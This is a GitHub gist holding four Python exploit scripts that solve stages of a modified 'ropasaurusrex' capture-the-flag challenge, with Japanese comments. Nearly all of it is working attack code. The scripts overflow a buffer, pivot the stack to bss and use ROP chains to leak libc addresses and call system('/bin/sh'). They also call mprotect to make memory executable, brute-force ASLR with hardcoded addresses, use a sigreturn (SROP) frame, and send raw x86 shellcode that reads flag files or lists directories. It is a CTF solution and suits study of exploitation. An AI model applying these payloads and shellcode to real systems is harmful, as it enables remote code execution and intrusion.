Skip to content

Instantly share code, notes, and snippets.

@akiym
Created July 6, 2015 08:25
Show Gist options
  • Save akiym/7895c1ac048d3e270019 to your computer and use it in GitHub Desktop.
Save akiym/7895c1ac048d3e270019 to your computer and use it in GitHub Desktop.
魔改造ropasaurusrex writeup #katagaitaiCTF
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack("<I", x)
u = lambda x: struct.unpack("<I", x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ""
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ""
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = ''
port = 1026
# つ https://github.com/akiym/akitools/blob/master/libc-offsets
offset = {
'__libc_start_main': 0x19990,
'system': 0x40190,
'/bin/sh': 0x160a24,
}
else:
host = '127.0.0.1'
port = 4000
offset = {
'__libc_start_main': 0x19990,
'system': 0x40190,
'/bin/sh': 0x161344,
}
leaveret = 0x80482ea
pop2ret = 0x80484b7
pop3ret = 0x80484b6
bss = 0x8049628 + 0x300
# 地味に書き込むバッファサイズが小さいのでstack pivotをする。イメージとしてはbssにROPのpayloadを移すかんじ。
# __libc_start_main@gotから読み出してlibcのベースアドレスを求める。
# あとはsystem("/bin/sh")を実行。
s = connect(host, port)
payload = (
'A' * 136 +
p(bss-4) + # ebp
p(0x804832c) + # read@plt
p(pop2ret) +
p(0) +
p(bss) +
p(leaveret) +
''
)
s.send(payload)
payload = (
p(0xdeadbeef) +
p(0x804830c) + # write@plt
p(pop3ret) +
p(1) +
p(0x8049618) + # __libc_start_main@got
p(4) +
p(0x804832c) + # read@plt
p(pop3ret) +
p(0) +
p(bss+4*11) +
p(0x100) +
''
)
s.send(payload)
leak = u(recvn(4))-offset['__libc_start_main']
print '[+] leak : %x' % leak
payload = (
p(leak+offset['system']) +
p(0xdeadbeef) +
p(leak+offset['/bin/sh']) +
''
)
s.send(payload)
interact()
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack("<I", x)
u = lambda x: struct.unpack("<I", x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ""
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ""
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = ''
port = 1027
offset = {
'__libc_start_main': 0x19990,
'mprotect': 0xe70d0,
'system': 0x40190,
'/bin/sh': 0x160a24,
}
else:
host = '127.0.0.1'
port = 4000
offset = {
'__libc_start_main': 0x19990,
'mprotect': 0xe79f0,
'system': 0x40190,
'/bin/sh': 0x161344,
}
leaveret = 0x80482ea
pop2ret = 0x80484b7
pop3ret = 0x80484b6
bss = 0x8049628 + 0x300
# chroot環境なので/bin/shが存在しない。つまりみんな大好きsystem("/bin/sh")が通用しない。
# シェルコードを実行できるようにしたいが、NXが有効なのでmprotectでbssにrwxを付加する必要がある。
s = connect(host, port)
payload = (
'A' * 136 +
p(bss-4) +
p(0x804832c) + # read@plt
p(pop2ret) +
p(0) +
p(bss) +
p(leaveret) +
''
)
s.send(payload)
payload = (
p(0xdeadbeef) +
p(0x804830c) + # write@plt
p(pop3ret) +
p(1) +
p(0x8049618) + # __libc_start_main@got
p(4) +
p(0x804832c) + # read@plt
p(pop3ret) +
p(0) +
p(bss+4*11) +
p(0x100) +
''
)
s.send(payload)
leak = u(recvn(4))-offset['__libc_start_main']
print '[+] leak : %x' % leak
payload = (
p(leak+offset['mprotect']) +
p(pop3ret) +
p(bss & ~0xfff) +
p(0x1000) +
p(7) +
p(0x804832c) + # read@plt
p(pop3ret) +
p(0) +
p(bss+0x100) +
p(0x100) +
p(bss+0x100) + # シェルコード
''
)
s.send(payload)
# ファイル一覧
#sc = '\xeb\x3c\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\xb2\x7f\x89\xe1\x89\xc3\xb0\x59\x60\xcd\x80\x85\xc0\x74\x21\x66\x0f\xb6\x51\x08\xb3\x01\x8d\x4c\x19\x09\xb0\x04\xcd\x80\xb2\x01\x8d\x4a\x09\x51\x89\xe1\xb0\x04\xcd\x80\x83\xc4\x04\x61\xeb\xd8\xcc\xe8\xbf\xff\xff\xff\x2e\x00\xcc'
# ファイル読み込み
sc = '\xeb\x1d\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\x89\xc3\x89\xe1\xb2\x40\xb0\x03\xcd\x80\x92\xb3\x01\xb0\x04\xcd\x80\xc3\xe8\xde\xff\xff\xff' + 'flag_1170037582419425558'
s.send(sc)
interact()
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack("<I", x)
u = lambda x: struct.unpack("<I", x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ""
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ""
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = ''
port = 1028
offset = {
'__libc_start_main': 0x19990,
'mprotect': 0xe70d0,
'system': 0x40190,
'/bin/sh': 0x160a24,
}
# ASLRによってランダマイズされるが、32bitなのでブルートフォースで突破できる。
# リモート環境のアドレスを調べておいてそれを決め打ち。
leak = 0xf75b7000
else:
host = '127.0.0.1'
port = 4000
offset = {
'__libc_start_main': 0x19990,
'mprotect': 0xe79f0,
'system': 0x40190,
'/bin/sh': 0x161344,
}
#leak = 0xf7e0d000
leak = 0xf75e3000
leaveret = 0x80482ea
pop2ret = 0x80484b7
pop3ret = 0x80484b6
bss = 0x8049628 + 0x300
# アドレスリークする必要がないので3よりもシンプルになる。
s = connect(host, port)
payload = (
'A' * 136 +
p(bss) +
p(0x804832c) + # read@plt
p(pop2ret) +
p(0) +
p(bss) +
p(leaveret) +
''
)
s.send(payload)
payload = (
p(0xdeadbeef) +
p(leak+offset['mprotect']) +
p(pop3ret) +
p(bss & ~0xfff) +
p(0x1000) +
p(7) +
p(0x804832c) + # read@plt
p(pop3ret) +
p(0) +
p(bss+0x100) +
p(0x100) +
p(bss+0x100) +
''
)
s.send(payload)
#sc = '\xeb\x3c\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\xb2\x7f\x89\xe1\x89\xc3\xb0\x59\x60\xcd\x80\x85\xc0\x74\x21\x66\x0f\xb6\x51\x08\xb3\x01\x8d\x4c\x19\x09\xb0\x04\xcd\x80\xb2\x01\x8d\x4a\x09\x51\x89\xe1\xb0\x04\xcd\x80\x83\xc4\x04\x61\xeb\xd8\xcc\xe8\xbf\xff\xff\xff\x2e\x00\xcc'
sc = '\xeb\x1d\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\x89\xc3\x89\xe1\xb2\x80\xb0\x03\xcd\x80\x92\xb3\x01\xb0\x04\xcd\x80\xc3\xe8\xde\xff\xff\xff' + 'flag_326175712236627770'
s.send(sc)
interact()
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack("<I", x)
u = lambda x: struct.unpack("<I", x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ""
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ""
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = ''
port = 1029
else:
host = '127.0.0.1'
port = 4000
# ASLRによってランダマイズされるが、32bitなので(以下略
# スタックのアドレスを決め打ち。
stack = 0xffffd7d8
stack = 0xffec8ed8
int80 = 0x080480cf
read = 0x80480b8
write = 0x80480d2
base = 0x8048000
# int 0x80が呼べるのでsigreturnを利用してレジスタに任意の値をセットする。いわゆるSROP。
# SROPでmprotectを呼んでからシェルコードを実行する。
s = connect(host, port)
# mprotect(0x8048000, 0x1000, 7)を呼ぶ。これで0x8048000以降が読み書き、実行可になる。
# レジスタの並びについてはsigcontext.hのstruct sigcontext参照。とりあえずgdbでレジスタの値を確認しながら書いた。
sigreturn = (
'\x00' * 24 +
p(stack) + # ebp
p(stack) + # esp
p(base) + # ebx
p(7) + # edx
p(0x1000) + # ecx
p(125) + # eax: mprotect
'\x00' * 8 +
p(0x80480f7) + # eip: int 0x80からのvuln
# cs, ss
'\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
)
payload = (
'A' * 128 +
p(0x80480f9) +
'\x00' * 8 +
sigreturn +
''
)
s.send(payload)
# 119byte分writeすることでeaxに119(sigreturn)をセットする。
payload = (
'A' * 128 +
p(write) +
p(int80) +
p(1) +
p(base) +
p(119) + # sigreturn
'\x2b\x00' + # ds
''
)
time.sleep(0.1)
s.send(payload)
payload = (
'A' * 128 +
p(read) +
p(base) +
p(0) +
p(base) +
p(0x1000) +
''
)
s.send(payload)
#sc = '\xeb\x3c\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\xb2\x7f\x89\xe1\x89\xc3\xb0\x59\x60\xcd\x80\x85\xc0\x74\x21\x66\x0f\xb6\x51\x08\xb3\x01\x8d\x4c\x19\x09\xb0\x04\xcd\x80\xb2\x01\x8d\x4a\x09\x51\x89\xe1\xb0\x04\xcd\x80\x83\xc4\x04\x61\xeb\xd8\xcc\xe8\xbf\xff\xff\xff\x2e\x00\xcc'
sc = '\x90'+'\xeb\x1d\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\x89\xc3\x89\xe1\xb2\x80\xb0\x03\xcd\x80\x92\xb3\x01\xb0\x04\xcd\x80\xc3\xe8\xde\xff\xff\xff' + 'flag_d92c506474d5d22338312d8f0f57b85f'
s.send(sc)
interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment